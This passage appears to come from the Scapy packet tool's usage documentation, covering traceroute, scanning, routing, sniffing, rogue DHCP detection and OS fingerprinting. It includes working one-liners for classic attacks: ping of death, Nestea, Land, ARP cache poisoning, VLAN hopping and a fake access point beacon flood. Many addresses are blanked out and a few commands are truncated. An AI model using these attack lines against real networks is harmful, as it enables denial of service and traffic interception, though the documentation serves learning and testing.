ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src= dst= options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x1f !"#$%&\'()*+,-./01234567' |>>>>
>>> pkt_raw = raw(pkt)
>>> pkt_raw
\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

We can reimport the produced binary string by selecting the appropriate first layer (e.g. Ether()).

>>> new_pkt = Ether(pkt_raw)
>>> new_pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src= dst= options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x1f !"#$%&\'()*+,-./01234567' |>>>>


Using the export_object() function, Scapy can export a base64 encoded Python data structure representing a packet:

>>> pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src= dst= options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
!"#$%&\'()*+,-./01234567' |>>>>
>>> export_object(pkt)

The output above can be reimported back into Scapy using import_object():

>>> new_pkt = import_object()
>>> new_pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src= dst= options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
!"#$%&\'()*+,-./01234567' |>>>>


At last Scapy is capable of saving all session variables using the save_session() function:

>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts']
>>> save_session("session.scapy")

Next time you start Scapy you can load the previous saved session using the load_session() command:

>>> dir()
['__builtins__', 'conf']
>>> load_session("session.scapy")
>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts']

Making tables

.. index::
   single: tables, make_table()

Now we have a demonstration of the make_table() presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants, make_lined_table() and make_tex_table() to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object :

Here we can see a multi-parallel traceroute (Scapy already has a multi TCP traceroute function. See later):

>>> ans, unans = sr(IP(dst="", ttl=(1,6))/TCP())
Received 49 packets, got 24 answers, remaining 0 packets
>>> ans.make_table( lambda s,r: (s.dst, s.ttl, r.src) )

Here is a more complex example to distinguish machines or their IP stacks from their IPID field. We can see that is answered by the same IP stack as and that is not answered by the same IP stack as other ports on the same IP.

>>> ans, unans = sr(IP(dst="")/TCP(dport=[20,21,22,25,53,80]))
Received 142 packets, got 25 answers, remaining 71 packets
>>> ans.make_table(lambda s,r: (s.dst, s.dport, r.sprintf("")))
20 0             4203          7021          -             11562
21 0             4204          7022          -             11563
22 0             4205          7023          11561         11564
25 0             0             7024          -             11565
53 0             4207          7025          -             11566
80 0             4028          7026          -             11567

It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc.


.. index::
   single: Routing, conf.route

Now Scapy has its own routing table, so that you can have your packets routed differently than the system:

>>> conf.route
Network         Netmask         Gateway         Iface         lo         eth0     eth0
>>> conf.route.delt(net="",gw="")
>>> conf.route.add(net="",gw="")
>>> conf.route.add(host="",gw="")
>>> conf.route
Network         Netmask         Gateway         Iface         lo         eth0   eth0     eth0
>>> conf.route.resync()
>>> conf.route
Network         Netmask         Gateway         Iface         lo         eth0     eth0


.. index::
   single: Matplotlib, plot()

We can easily plot some harvested values using Matplotlib. (Make sure that you have matplotlib installed.) For example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer:

>>> a, b = sr(IP(dst="")/TCP(sport=[RandShort()]*1000))
>>> a.plot(lambda x:x[1].id)
[<matplotlib.lines.Line2D at 0x2367b80d6a0>]


TCP traceroute (2)

.. index::
   single: traceroute(), Traceroute

Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, Scapy sends all the packets at the same time. This has the disadvantage that it can't know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result:

>>> traceroute(["","","",""],maxttl=20)
Received 80 packets, got 80 answers, remaining 0 packets
10    SA
11    SA
12    SA
13    SA
14    SA   SA
15    SA   SA
16    SA  SA  SA   SA
17    SA  SA  SA   SA
18    SA  SA  SA   SA
19    SA  SA  SA   SA
20    SA  SA  SA   SA
(<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)

The last line is in fact the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding.

>>> result, unans = _
>>> result.filter(lambda x: Padding in x[1])

Like any result object, traceroute objects can be added :

>>> r2, unans = traceroute([""],maxttl=20)
Received 19 packets, got 19 answers, remaining 1 packets
12   SA
13   SA
14   SA
15   SA
16   SA
17   SA
18   SA
19   SA
20   SA
>>> r3=result+r2
4       -        
9    SA
10    SA
11 -            SA
12   SA    SA
13   SA    SA
14   SA    SA   SA
15   SA    SA   SA
16   SA    SA  SA  SA   SA
17   SA    SA  SA  SA   SA
18   SA    SA  SA  SA   SA
19   SA    SA  SA  SA   SA
20   SA    SA  SA  SA   SA

Traceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS (Autonomous System). You will need graphviz. By default, ImageMagick is used to display the graph.

>>> res, unans = traceroute(["","","","",""],dport=[80,443],maxttl=20,retry=-2)
Received 190 packets, got 190 answers, remaining 10 packets  207.46...
1        192.16...
2       82.251...
3      213.22...
>>> res.graph()                          # piped to ImageMagick's display program. Image below.
>>> res.graph(type="ps",target="| lp")   # piped to postscript printer
>>> res.graph(target="> /tmp/graph.svg") # saved to file


If you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it's IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed:

>>> res.trace3D()



Wireless frame injection

.. index::
   single: FakeAP, Dot11, wireless, WLAN


See the TroubleShooting section for more information on the usage of Monitor mode among Scapy.

Provided that your wireless card and driver are correctly configured for frame injection

$ iw dev wlan0 interface add mon0 type monitor
$ ifconfig mon0 up

On Windows, if using Npcap, the equivalent would be to call:

>>> # Of course, conf.iface can be replaced by any interfaces accessed through conf.ifaces
... conf.iface.setmonitor(True)

you can have a kind of FakeAP:

>>> sendp(RadioTap()/
          Dot11Beacon(cap="ESS", timestamp=1)/
          Dot11Elt(ID="SSID", info=RandString(RandNum(1,50)))/
          Dot11EltRates(rates=[130, 132, 11, 22])/
          Dot11Elt(ID="DSset", info="\x03")/
          Dot11Elt(ID="TIM", info="\x00\x01\x00\x00"),
          iface="mon0", loop=1)

Depending on the driver, the commands needed to get a working frame injection interface may vary. You may also have to replace the first pseudo-layer (in the example RadioTap()) by PrismHeader(), or by a proprietary pseudo-layer, or even to remove it.

Simple one-liners

ACK Scan

Using Scapy's powerful packet crafting facilities we can quick replicate classic TCP Scans. For example, the following string will be sent to simulate an ACK Scan:

>>> ans, unans = sr(IP(dst="")/TCP(dport=[80,666],flags="A"))

We can find unfiltered ports in answered packets:

>>> for s,r in ans:
...     if s[TCP].dport == r[TCP].sport:
...        print("%d is unfiltered" % s[TCP].dport)

Similarly, filtered ports can be found with unanswered packets:

>>> for s in unans:
...     print("%d is filtered" % s[TCP].dport)

Xmas Scan

Xmas Scan can be launched using the following command:

>>> ans, unans = sr(IP(dst="")/TCP(dport=666,flags="FPU") )

Checking RST responses will reveal closed ports on the target.

IP Scan

A lower level IP Scan can be used to enumerate supported protocols:

>>> ans, unans = sr(IP(dst="",proto=(0,255))/"SCAPY",retry=2)

ARP Ping

The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method:

>>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=""),timeout=2)

Answers can be reviewed with the following command:

>>> ans.summary(lambda s,r: r.sprintf("%Ether.src% %ARP.psrc%") )

Scapy also includes a built-in arping() function which performs similar to the above two commands:

>>> arping("192.168.1.*")


Classical ICMP Ping can be emulated using the following command:

>>> ans, unans = sr(IP(dst="")/ICMP())

Information on live hosts can be collected with the following request:

>>> ans.summary(lambda s,r: r.sprintf("%IP.src% is alive") )

TCP Ping

In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below:

>>> ans, unans = sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )

Any response to our probes will indicate a live host. We can collect results with the following command:

>>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )

UDP Ping

If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0:

>>> ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )

Once again, results can be collected with this command:

>>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )

DNS Requests

IPv4 (A) request:

This will perform a DNS request looking for IPv4 addresses

>>> ans = sr1(IP(dst="")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="",qtype="A")))

SOA request:

>>> ans = sr1(IP(dst="")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="",qtype="SOA")))
>>> ans.ns.mname
>>> ans.ns.rname

MX request:

>>> ans = sr1(IP(dst="")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="",qtype="MX")))
>>> results = [ for x in]
>>> results

Classical attacks

Malformed packets:

>>> send(IP(dst="", ihl=2, version=3)/ICMP())

Ping of death (Muuahahah):

>>> send( fragment(IP(dst="")/ICMP()/("X"*60000)) )

Nestea attack:

>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=target, id=42, frag=48)/("X"*116))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))

Land attack (designed for Microsoft Windows):

>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))

ARP cache poisoning

This attack prevents a client from joining the gateway by poisoning its ARP cache through a VLAN hopping attack.

Classic ARP cache poisoning:

>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )

ARP cache poisoning with double 802.1q encapsulation:

>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
      /ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )

TCP Port Scanning

Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error:

>>> res, unans = sr( IP(dst="target")
                /TCP(flags="S", dport=(1,1024)) )

Possible result visualization: open ports

>>> res.nsummary( lfilter=lambda s,r: (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )

IKE Scanning

We try to identify VPN concentrators by sending ISAKMP Security Association proposals and receiving the answers:

>>> res, unans = sr( IP(dst="192.168.1.*")/UDP()
                /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")

Visualizing the results in a list:

>>> res.nsummary(prn=lambda s,r: r.src, lfilter=lambda s,r: r.haslayer(ISAKMP) )

Advanced traceroute

TCP SYN traceroute

>>> ans, unans = sr(IP(dst="",ttl=(1,10))/TCP(dport=53,flags="S"))

Results would be:

>>> ans.summary( lambda s,r: r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))     time-exceeded    time-exceeded     time-exceeded     time-exceeded     time-exceeded     time-exceeded         SA

UDP traceroute

Tracerouting an UDP application like we do with TCP is not reliable, because there's no handshake. We need to give an applicative payload (DNS, ISAKMP, NTP, etc.) to deserve an answer:

>>> res, unans = sr(IP(dst="target", ttl=(1,20))

We can visualize the results as a list of routers:

>>> res.make_table(lambda s,r: (s.dst, s.ttl, r.src))

DNS traceroute

We can perform a DNS traceroute by specifying a complete packet in l4 parameter of traceroute() function:

>>> ans, unans = traceroute("",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="")))
Begin emission:
..*....******...******.***...****Finished to send 30 packets.
Received 75 packets, got 28 answers, remaining 2 packets
1     11
4    11
5     11
6     11
7      11
8      11


>>> sr1(IP(dst="")/ICMP())
<IP src= proto=1 [...] |<ICMP code=0 type=0 [...]|
<Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>>

ICMP leaking

This was a Linux 2.0 bug:

>>> sr1(IP(dst="", options="\x02")/ICMP())
<IP src= [...] |<ICMP code=0 type=12 [...] |
<IPerror src= options=’\x02\x00\x00\x00’ [...] |
<ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff |
<Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>>

VLAN hopping

In very specific conditions, a double 802.1q encapsulation will make a packet jump to another VLAN:

>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())

Wireless sniffing

The following command will display information similar to most wireless sniffers:

>>> sniff(iface="ath0", prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\\\t%Dot11Beacon.cap%}"))


On Windows and OSX, you will need to also use monitor=True, which only works on scapy>2.4.0 (2.4.0dev+). This might require you to manually toggle monitor mode.

The above command will produce output similar to the one below:

00:00:00:01:02:03 netgear      6L   ESS+privacy+PBCC
11:22:33:44:55:66 wireless_100 6L   short-slot+ESS+privacy
44:55:66:00:11:22 linksys      6L   short-slot+ESS+privacy
12:34:56:78:90:12 NETGEAR      6L   short-slot+ESS+privacy+short-preamble


Simplistic ARP Monitor

This program uses the sniff() callback (parameter prn). The store parameter is set to 0 so that the sniff() function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic.

#! /usr/bin/env python
from scapy.all import *

def arp_monitor_callback(pkt):
    if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
        return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")

sniff(prn=arp_monitor_callback, filter="arp", store=0)

Identifying rogue DHCP servers on your LAN

.. index::
   single: DHCP


You suspect that someone has installed an additional, unauthorized DHCP server on your LAN -- either unintentionally or maliciously. Thus you want to check for any active DHCP servers and identify their IP and MAC addresses.


Use Scapy to send a DHCP discover request and analyze the replies:

>>> conf.checkIPaddr = False
>>> fam,hw = get_if_raw_hwaddr(conf.iface)
>>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="",dst="")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans, unans = srp(dhcp_discover, multi=True)      # Press CTRL-C after several seconds
Begin emission:
Finished to send 1 packets.
Received 8 packets, got 2 answers, remaining 0 packets

In this case we got 2 replies, so there were two active DHCP servers on the test network:

>>> ans.summary()
Ether / IP / UDP > / BOOTP / DHCP ==> Ether / IP / UDP > / BOOTP / DHCP
Ether / IP / UDP > / BOOTP / DHCP ==> Ether / IP / UDP > / BOOTP / DHCP

We are only interested in the MAC and IP addresses of the replies:

>>> for p in ans: print p[1][Ether].src, p[1][IP].src


We specify multi=True to make Scapy wait for more answer packets after the first response is received. This is also the reason why we can't use the more convenient dhcp_request() function and have to construct the DHCP packet manually: dhcp_request() uses srp1() for sending and receiving and thus would immediately return after the first answer packet.

Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address ( and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. Because these IP addresses don't match, we have to disable Scapy's check with conf.checkIPaddr = False before sending the stimulus.

See also


TTL decrementation after a filtering operation only not filtered packets generate an ICMP TTL exceeded

>>> ans, unans = sr(IP(dst="", ttl=16)/TCP(dport=(1,1024)))
>>> for s,r in ans:
        if r.haslayer(ICMP) and r.payload.type == 11:
            print s.dport

Find subnets on a multi-NIC firewall only his own NIC’s IP are reachable with this TTL:

>>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())
>>> for i in unans: print i.dst

TCP Timestamp Filtering


Many firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners.


To allow Scapy to reach target destination additional options must be used:

>>> sr1(IP(dst="")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))

Viewing packets with Wireshark

.. index::
   single: wireshark()


You have generated or sniffed some packets with Scapy.

Now you want to view them with Wireshark, because of its advanced packet dissection capabilities.


That's what :py:func:`wireshark` is for!

# First, generate some packets...
packets = IP(src="", dst=Net(""))/ICMP()

# Show them with Wireshark

Wireshark will start in the background, and show your packets.


.. py:function:: wireshark(pktlist, ...)

    With a :py:class:`Packet` or :py:class:`PacketList`, serialises your
    packets, and streams this into Wireshark via ``stdin`` as if it were a
    capture device.

    Because this uses ``pcap`` format to serialise the packets, there are some

    * Packets must be all of the same ``linktype``.

      For example, you can't mix :py:class:`Ether` and :py:class:`IP` at the
      top layer.

    * Packets must have an assigned (and supported) ``DLT_*`` constant for the
      ``linktype``.  An unsupported ``linktype`` is replaced with ``DLT_EN10MB``
      (Ethernet), and will display incorrectly in Wireshark.

      For example, can't pass a bare :py:class:`ICMP` packet, but you can send
      it as a payload of an :py:class:`IP` or :py:class:`IPv6` packet.

    With a filename (passed as a string), this loads the given file in
    Wireshark. This needs to be in a format that Wireshark supports.

    You can tell Scapy where to find the Wireshark executable by changing the
    ``conf.prog.wireshark`` configuration setting.

    This accepts the same extra parameters as :py:func:`tcpdump`.

.. seealso::

        A :ref:`PipeTools sink <pipetools>` for live-streaming packets.

        Additional description of Wireshark's functionality, and its
        command-line arguments.

    `Wireshark's website`__
        For up-to-date releases of Wireshark.

    `Wireshark Protocol Reference`__
        Contains detailed information about Wireshark's protocol dissectors, and
        reference documentation for various network protocols.

Performance of Scapy


Scapy dissects slowly and/or misses packets under heavy loads.


Please bare in mind that Scapy is not designed to be blazing fast, but rather easily hackable & extensible. The packet model makes it VERY easy to create new layers, compared to pretty much all other alternatives, but comes with a performance cost. Of course, we still do our best to make Scapy as fast as possible, but it's not the absolute main goal.


There are quite a few ways of speeding up scapy's dissection. You can use all of them

  • Using a BPF filter: The OS is faster than Scapy. If you make the OS filter the packets instead of Scapy, it will only handle a fraction of the load. Use the filter= argument of the :py:func:`~scapy.sendrecv.sniff` function.
  • By disabling layers you don't use: If you are not using some layers, why dissect them? You can let Scapy know which layers to dissect and all the others will simply be parsed as Raw. This comes with a great performance boost but requires you to know what you're doing.
# Enable filtering: only Ether, IP and ICMP will be dissected
conf.layers.filter([Ether, IP, ICMP])
# Disable filtering: restore everything to normal

OS Fingerprinting


Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop:

>>> ans, unans = srloop(IP(dst="")/TCP(dport=80,flags="S"))

Once we obtain a reasonable number of responses we can start analyzing collected data with something like this:

>>> temp = 0
>>> for s, r in ans:
...    temp = r[TCP].seq - temp
...    print("%d\t+%d" % (r[TCP].seq, temp))
4278709328      +4275758673
4279655607      +3896934
4280642461      +4276745527
4281648240      +4902713
4282645099      +4277742386
4283643696      +5901310


Nmap fingerprinting (the old "1st generation" one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first:

>>> load_module("nmap")

If you have Nmap installed you can use it's active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by:

>>> conf.nmap_base

Then you can use the nmap_fp() function which implements same probes as in Nmap's OS Detection engine:

>>> nmap_fp("",oport=443,cport=1)
Begin emission:
.****..**Finished to send 8 packets.
Received 58 packets, got 7 answers, remaining 1 packets
(1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch',
'Linux 2.4.20 - 2.4.22 w/ patch', 'Linux 2.4.22-ck2 (x86)
w/ and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])


If you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by:

>>> conf.p0f_base

For example to guess OS from a single captured packet:

>>> sniff(prn=prnp0f) - Linux 2.6 (newer, 1) (up: 24 hrs)
  -> (distance 0)
<Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>